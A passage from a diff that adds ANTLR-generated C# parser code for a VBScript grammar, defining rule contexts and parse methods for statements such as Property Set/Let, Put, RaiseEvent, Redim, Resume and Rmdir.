+ else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1868; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1872; + Match(END_PROPERTY); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PropertySetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PROPERTY_SET() { return GetToken(VBScriptParser.PROPERTY_SET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_PROPERTY() { return GetToken(VBScriptParser.END_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public PropertySetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_propertySetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPropertySetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPropertySetStmt(this); + } + } + + [RuleVersion(0)] + public PropertySetStmtContext propertySetStmt() { + PropertySetStmtContext _localctx = new PropertySetStmtContext(Context, State); + EnterRule(_localctx, 174, RULE_propertySetStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1877; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1874; + visibility(); + State = 1875; + Match(WS); + } + } + + State = 1881; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1879; + Match(STATIC); + State = 1880; + Match(WS); + } + } + + State = 1883; + Match(PROPERTY_SET); + State = 1884; + Match(WS); + State = 1885; + ambiguousIdentifier(); + State = 1890; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN || _la==WS) { + { + State = 1887; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1886; + Match(WS); + } + } + + State = 1889; + argList(); + } + } + + State = 1893; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1892; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1895; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,282,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1903; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1897; + block(); + State = 1899; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1898; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1901; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1905; + Match(END_PROPERTY); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PropertyLetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PROPERTY_LET() { return GetToken(VBScriptParser.PROPERTY_LET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_PROPERTY() { return GetToken(VBScriptParser.END_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public PropertyLetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_propertyLetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPropertyLetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPropertyLetStmt(this); + } + } + + [RuleVersion(0)] + public PropertyLetStmtContext propertyLetStmt() { + PropertyLetStmtContext _localctx = new PropertyLetStmtContext(Context, State); + EnterRule(_localctx, 176, RULE_propertyLetStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1910; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1907; + visibility(); + State = 1908; + Match(WS); + } + } + + State = 1914; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1912; + Match(STATIC); + State = 1913; + Match(WS); + } + } + + State = 1916; + Match(PROPERTY_LET); + State = 1917; + Match(WS); + State = 1918; + ambiguousIdentifier(); + State = 1923; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN || _la==WS) { + { + State = 1920; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1919; + Match(WS); + } + } + + State = 1922; + argList(); + } + } + + State = 1926; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1925; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1928; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,289,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1936; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1930; + block(); + State = 1932; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1931; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1934; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1938; + Match(END_PROPERTY); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PutStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUT() { return GetToken(VBScriptParser.PUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public PutStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_putStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPutStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPutStmt(this); + } + } + + [RuleVersion(0)] + public PutStmtContext putStmt() { + PutStmtContext _localctx = new PutStmtContext(Context, State); + EnterRule(_localctx, 178, RULE_putStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1940; + Match(PUT); + State = 1941; + Match(WS); + State = 1942; + valueStmt(0); + State = 1944; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1943; + Match(WS); + } + } + + State = 1946; + Match(COMMA); + State = 1948; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,293,Context) ) { + case 1: + { + State = 1947; + Match(WS); + } + break; + } + State = 1951; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,294,Context) ) { + case 1: + { + State = 1950; + valueStmt(0); + } + break; + } + State = 1954; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1953; + Match(WS); + } + } + + State = 1956; + Match(COMMA); + State = 1958; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,296,Context) ) { + case 1: + { + State = 1957; + Match(WS); + } + break; + } + State = 1960; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RaiseEventStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RAISEEVENT() { return GetToken(VBScriptParser.RAISEEVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + public RaiseEventStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_raiseEventStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRaiseEventStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRaiseEventStmt(this); + } + } + + [RuleVersion(0)] + public RaiseEventStmtContext raiseEventStmt() { + RaiseEventStmtContext _localctx = new RaiseEventStmtContext(Context, State); + EnterRule(_localctx, 180, RULE_raiseEventStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1962; + Match(RAISEEVENT); + State = 1963; + Match(WS); + State = 1964; + ambiguousIdentifier(); + State = 1979; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,301,Context) ) { + case 1: + { + State = 1966; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1965; + Match(WS); + } + } + + State = 1968; + Match(LPAREN); + State = 1970; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,298,Context) ) { + case 1: + { + State = 1969; + Match(WS); + } + break; + } + State = 1976; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9038161502195941409L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70249505L) != 0)) { + { + State = 1972; + argsCall(); + State = 1974; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1973; + Match(WS); + } + } + + } + } + + State = 1978; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RandomizeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOMIZE() { return GetToken(VBScriptParser.RANDOMIZE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public RandomizeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_randomizeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRandomizeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRandomizeStmt(this); + } + } + + [RuleVersion(0)] + public RandomizeStmtContext randomizeStmt() { + RandomizeStmtContext _localctx = new RandomizeStmtContext(Context, State); + EnterRule(_localctx, 182, RULE_randomizeStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1981; + Match(RANDOMIZE); + State = 1984; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,302,Context) ) { + case 1: + { + State = 1982; + Match(WS); + State = 1983; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RedimStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode REDIM() { return GetToken(VBScriptParser.REDIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimSubStmtContext[] redimSubStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimSubStmtContext redimSubStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRESERVE() { return GetToken(VBScriptParser.PRESERVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public RedimStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_redimStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRedimStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRedimStmt(this); + } + } + + [RuleVersion(0)] + public RedimStmtContext redimStmt() { + RedimStmtContext _localctx = new RedimStmtContext(Context, State); + EnterRule(_localctx, 184, RULE_redimStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1986; + Match(REDIM); + State = 1987; + Match(WS); + State = 1990; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,303,Context) ) { + case 1: + { + State = 1988; + Match(PRESERVE); + State = 1989; + Match(WS); + } + break; + } + State = 1992; + redimSubStmt(); + State = 2003; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,306,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1994; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1993; + Match(WS); + } + } + + State = 1996; + Match(COMMA); + State = 1998; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1997; + Match(WS); + } + } + + State = 2000; + redimSubStmt(); + } + } + } + State = 2005; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,306,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RedimSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptsContext subscripts() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + public RedimSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_redimSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRedimSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRedimSubStmt(this); + } + } + + [RuleVersion(0)] + public RedimSubStmtContext redimSubStmt() { + RedimSubStmtContext _localctx = new RedimSubStmtContext(Context, State); + EnterRule(_localctx, 186, RULE_redimSubStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2006; + ambiguousIdentifier(); + State = 2008; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2007; + Match(WS); + } + } + + State = 2010; + Match(LPAREN); + State = 2012; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,308,Context) ) { + case 1: + { + State = 2011; + Match(WS); + } + break; + } + State = 2014; + subscripts(); + State = 2016; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2015; + Match(WS); + } + } + + State = 2018; + Match(RPAREN); + State = 2021; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,310,Context) ) { + case 1: + { + State = 2019; + Match(WS); + State = 2020; + asTypeClause(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ResetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESET() { return GetToken(VBScriptParser.RESET, 0); } + public ResetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_resetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterResetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitResetStmt(this); + } + } + + [RuleVersion(0)] + public ResetStmtContext resetStmt() { + ResetStmtContext _localctx = new ResetStmtContext(Context, State); + EnterRule(_localctx, 188, RULE_resetStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2023; + Match(RESET); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ResumeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESUME() { return GetToken(VBScriptParser.RESUME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public ResumeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_resumeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterResumeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitResumeStmt(this); + } + } + + [RuleVersion(0)] + public ResumeStmtContext resumeStmt() { + ResumeStmtContext _localctx = new ResumeStmtContext(Context, State); + EnterRule(_localctx, 190, RULE_resumeStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2025; + Match(RESUME); + State = 2031; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,312,Context) ) { + case 1: + { + State = 2026; + Match(WS); + State = 2029; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,311,Context) ) { + case 1: + { + State = 2027; + Match(NEXT); + } + break; + case 2: + { + State = 2028; + ambiguousIdentifier(); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ReturnStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RETURN() { return GetToken(VBScriptParser.RETURN, 0); } + public ReturnStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_returnStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterReturnStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitReturnStmt(this); + } + } + + [RuleVersion(0)] + public ReturnStmtContext returnStmt() { + ReturnStmtContext _localctx = new ReturnStmtContext(Context, State); + EnterRule(_localctx, 192, RULE_returnStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2033; + Match(RETURN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RmdirStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RMDIR() { return GetToken(VBScriptParser.RMDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public RmdirStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_rmdirStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRmdirStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRmdirStmt(this); + } + } + + [RuleVersion(0)] + public RmdirStmtContext rmdirStmt() { + RmdirStmtContext _localctx = new RmdirStmtContext(Context, State); + EnterRule(_localctx, 194, RULE_rmdirStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2035; + Match(RMDIR); + State = 2036; + Match(WS); + State = 2037; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class RsetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RSET() { return GetToken(VBScriptParser.RSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public 